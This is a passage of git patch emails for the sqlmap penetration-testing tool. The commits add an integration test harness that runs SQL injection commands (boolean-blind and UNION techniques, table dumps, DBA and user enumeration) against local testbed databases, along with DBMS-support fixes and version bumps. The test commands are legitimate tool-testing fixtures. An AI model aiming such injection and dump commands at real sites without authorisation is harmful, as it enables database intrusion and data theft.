("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")), + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")), + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-pc-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")), + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current user (equivalent to database on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")), + ) + + retVal = True + count = 0 + + for options, checks in TESTS: + status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) + dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + + cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) + output = shellExec(cmd) + + if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks): + for check in checks: + if check not in output: + print(cmd, check) + dataToStdout("---\n\n$ %s\n" % cmd) + dataToStdout("%s---\n" % clearColors(output)) + retVal = False + + count += 1 + + clearConsoleLine() + if retVal: + logger.info("bed test final result: PASSED") + else: + logger.error("best test final result: FAILED") + + return retVal + def fuzzTest(): count = 0 address, port = "127.0.0.10", random.randint(1025, 65535) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index befb885b6..0c41c14d8 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -794,6 +794,9 @@ def cmdLineParser(argv=None): parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) + parser.add_argument("--bed-test", dest="bedTest", action="store_true", + help=SUPPRESS) + parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true", help=SUPPRESS) @@ -1005,7 +1008,7 @@ def cmdLineParser(argv=None): if args.dummy: args.url = args.url or DUMMY_URL - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/lib/request/inject.py b/lib/request/inject.py index 90c7c0f8e..a47493eb2 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -412,6 +412,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion + if expected == EXPECTED.BOOL: + # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') + + if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")): + forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression + try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b8816b113..6eacd1a0c 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -37,6 +37,7 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.decorators import stackedmethod +from lib.core.dicts import ALTIBASE_TYPES from lib.core.dicts import FIREBIRD_TYPES from lib.core.dicts import INFORMIX_TYPES from lib.core.enums import CHARSET_TYPE @@ -702,6 +703,8 @@ class Databases(object): key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1] if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get(key, columnData[1]) + elif Backend.isDbms(DBMS.ALTIBASE): + columnData[1] = ALTIBASE_TYPES.get(key, columnData[1]) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: diff --git a/sqlmap.py b/sqlmap.py index b321129c0..118c51178 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -173,6 +173,9 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) + elif conf.bedTest: + from lib.core.testing import bedTest + os._exitcode = 1 - (bedTest() or 0) elif conf.fuzzTest: from lib.core.testing import fuzzTest fuzzTest() From 3513ca66fec50e435220572398a28c0586eea1d4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Feb 2020 14:26:01 +0100 Subject: [PATCH 152/159] Minor beautification --- lib/core/common.py | 3 +++ lib/core/log.py | 2 +- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 133db9993..4687b829d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -949,6 +949,9 @@ def setColor(message, color=None, bold=False, level=None, istty=None): if match: retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey")) + for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey")) + return retVal def clearColors(message): diff --git a/lib/core/log.py b/lib/core/log.py index c5e82cf3b..4142f60db 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -74,7 +74,7 @@ try: string = match.group(1) message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: - match = re.search(r" \('(.+)'\)\Z", message) + match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message) if match: string = match.group(1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) diff --git a/lib/core/settings.py b/lib/core/settings.py index 01a51bcee..9770a00ac 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.24" +VERSION = "1.4.2.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4ef9557ccdd2d96c517479b8a15353924eb3b254 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Feb 2020 16:33:22 +0100 Subject: [PATCH 153/159] Minor update --- data/xml/queries.xml | 6 +++--- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- lib/core/testing.py | 30 ++++++++++++++++++++++-------- lib/request/inject.py | 2 +- 5 files changed, 28 insertions(+), 14 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index f5e28b537..053ba4a6b 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -78,9 +78,10 @@ - + - + + @@ -1326,7 +1327,6 @@ - diff --git a/lib/core/common.py b/lib/core/common.py index 4687b829d..5b3877ed4 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -949,7 +949,7 @@ def setColor(message, color=None, bold=False, level=None, istty=None): if match: retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey")) - for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + for match in re.finditer(r"[^\w]'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner) retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey")) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 9770a00ac..e08aa571e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.25" +VERSION = "1.4.2.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 54903ae16..6570b70c9 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -143,15 +143,29 @@ def bedTest(): """ TESTS = ( - ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")), - ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")), - ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-pc-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")), - ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + # Altibase + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current user (equivalent to database on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")), - ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")), + + # CrateDB + ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current schema (equivalent to database on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")), + + # CockroachDB + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")), + + # MySQL + ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")), + + # PostgreSQL + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")), + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")), + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")), ) retVal = True diff --git a/lib/request/inject.py b/lib/request/inject.py index a47493eb2..ce9a2c0ec 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -502,7 +502,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " - warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MONETDB, DBMS.MCKOI, DBMS.MIMERSQL, DBMS.CRATEDB) else "" + warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else "" singleTimeWarnMessage(warnMsg) # Dirty patch (safe-encoded unicode characters) From 2d48b8effafad4b80e6855baa297c289cd3e2d7b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Feb 2020 12:57:04 +0100 Subject: [PATCH 154/159] Minor update --- data/xml/queries.xml | 2 +- lib/core/dump.py | 2 +- lib/core/settings.py | 2 +- lib/core/testing.py | 5 +++++ 4 files changed, 8 insertions(+), 3 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 053ba4a6b..dfe0241e4 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -617,7 +617,7 @@ - + diff --git a/lib/core/dump.py b/lib/core/dump.py index a79382a44..e38a73d69 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -168,7 +168,7 @@ class Dump(object): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL): self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/settings.py b/lib/core/settings.py index e08aa571e..0094e97d7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.26" +VERSION = "1.4.2.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 6570b70c9..d0db8e85d 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -143,6 +143,11 @@ def bedTest(): """ TESTS = ( + # DB2 + ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current user (equivalent to database on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")), + # Altibase ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), From 1fb1a05a784477ff600ce4fdf6538d41a1163f45 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Feb 2020 16:22:58 +0100 Subject: [PATCH 155/159] Couple of patches (CockroachDB, Drizzle, Firebird related) --- data/xml/errors.xml | 3 +- data/xml/queries.xml | 31 +++++++++--------- lib/core/common.py | 5 +++ lib/core/settings.py | 2 +- lib/core/testing.py | 34 +++++++++++++++----- plugins/dbms/firebird/enumeration.py | 6 ---- plugins/generic/databases.py | 17 +++++++++- plugins/generic/search.py | 47 ++++++++++++++++++---------- plugins/generic/users.py | 25 ++++++++++++--- 9 files changed, 117 insertions(+), 53 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 3079b79b2..c865bea5f 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -7,6 +7,8 @@ + + @@ -14,7 +16,6 @@ - diff --git a/data/xml/queries.xml b/data/xml/queries.xml index dfe0241e4..0e42a664e 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -29,8 +29,8 @@ - - + + @@ -44,7 +44,7 @@ - + @@ -131,7 +131,7 @@ - + @@ -198,8 +198,8 @@ - - + + @@ -445,8 +445,8 @@ - - + + @@ -456,9 +456,9 @@ - - - + + + @@ -466,10 +466,13 @@ - - + + - + + + + diff --git a/lib/core/common.py b/lib/core/common.py index 5b3877ed4..dec8d935f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -75,6 +75,7 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import CONTENT_STATUS from lib.core.enums import DBMS from lib.core.enums import EXPECTED +from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD @@ -558,6 +559,10 @@ class Backend(object): singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms())) return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms) + @staticmethod + def isFork(fork): + return hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == fork + @staticmethod def isDbmsWithin(aliases): return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases diff --git a/lib/core/settings.py b/lib/core/settings.py index 0094e97d7..259e69774 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.27" +VERSION = "1.4.2.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index d0db8e85d..908b2a251 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -143,28 +143,46 @@ def bedTest(): """ TESTS = ( - # DB2 - ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", 